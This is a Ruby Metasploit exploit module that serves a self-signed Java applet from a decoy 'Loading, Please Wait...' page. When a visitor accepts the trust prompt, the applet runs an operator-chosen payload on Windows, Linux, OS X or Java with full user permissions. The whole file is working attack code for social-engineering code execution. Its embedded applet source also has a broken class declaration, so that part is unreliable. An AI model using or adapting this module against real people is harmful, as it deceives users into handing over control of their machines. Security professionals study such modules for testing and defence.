require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Java
include Msf::Exploit::EXE
def initialize( info = {} )
super( update_info( info,
'Name' => 'Signed Applet Social Engineering Code Exec',
'Description' => %q{
This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it
to a .jar file, then signs the .jar with a dynamically created certificate containing
values of your choosing. This is presented to the end user via a web page with an applet
tag, loading the signed applet.
The user's JVM pops a dialog asking if they trust the signed applet and displays the
values chosen. Once the user clicks 'accept', the applet executes with full user
permissions.
The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
created for the CVE-2008-5353 java deserialization exploit.
This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
If these dependencies are not present, the exploit falls back to a static, signed
JAR.
},
'License' => MSF_LICENSE,
'Author' => [ 'natron' ],
'Version' => '$Revision: 11516 $',
'References' =>
[
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 1
))
register_options(
[
OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
], self.class)
end
def exploit
@use_static = false
if not @jvm_init
print_error
print_error "The JDK failed to initialized: #{@java_error}"
print_error "In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable."
print_error
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
print_error
@use_static = true
else
cp = "#{datastore["JavaCache"]}:" + File.join(Msf::Config.data_directory, "java")
compile( [ "#{datastore["APPLETNAME"]}" ] , [ applet_code ], [ "-classpath", "#{cp}" ])
applet_file = File.join(datastore["JavaCache"], "#{datastore["APPLETNAME"]}.class")
@compiled_applet_data = File.open(applet_file, "rb") { |f| f.read(f.stat.size) }
end
super
end
def on_request_uri( cli, request )
payload = regenerate_payload(cli)
if not payload
print_error( "Failed to generate the payload." )
send_not_found(cli)
return
end
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect( cli, get_resource() + '/', '')
return
end
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
jar = payload.encoded_jar
if @use_static
applet_file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", "SiteLoader.class")
applet_data = File.open(applet_file, "rb") { |f| f.read(f.stat.size) }
jar.add_file("SiteLoader.class", applet_data)
print_status("Building statically signed jar for #{cli.peerhost}")
build_static_sig(jar)
data = jar.to_s
else
jar.add_file("#{datastore["APPLETNAME"]}.class", @compiled_applet_data)
print_status("Signing file for #{cli.peerhost}")
File.open(File.join(datastore["JavaCache"], "tmp.jar"), 'wb') { |f| f.write(jar.to_s) }
sign_jar(datastore["CERTCN"], "tmp.jar", "signed.jar")
data = File.open(File.join(datastore["JavaCache"], "signed.jar"), "rb") { |f| f.read(f.stat.size) }
end
print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." )
send_response( cli, data.to_s, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head> |
html += %Q|<body><center><p>Loading, Please Wait...</p></center> |
html += %Q|<applet archive="#{datastore["APPLETNAME"]}.jar"\n|
if @use_static
html += %Q| code="SiteLoader" width="1" height="1">\n|
else
html += %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
end
html += %Q|</applet></body></html>|
return html
end
def build_static_sig(jar)
files = [
"metasploit/Payload.class",
"SiteLoader.class",
"META-INF/MANIFEST.MF",
"META-INF/SIGNFILE.RSA",
"META-INF/SIGNFILE.SF",
]
replaced = []
jar.entries.map do |e|
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
if File.file? file
File.open(file, "rb") do |f|
e.data = f.read(f.stat.size)
end
end
replaced << e.name
end
files.each { |e|
next if replaced.include? e
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
File.open(file, "rb") do |f|
jar.add_file(e, f.read(f.stat.size))
end
}
jar
end
def applet_code
applet = <<-EOS
import java.applet.*;
import metasploit.*;
public class
public void init() {
try {
Payload.main(null);
} catch (Exception ex) {
//ex.printStackTrace();
}
}
}
EOS
end
end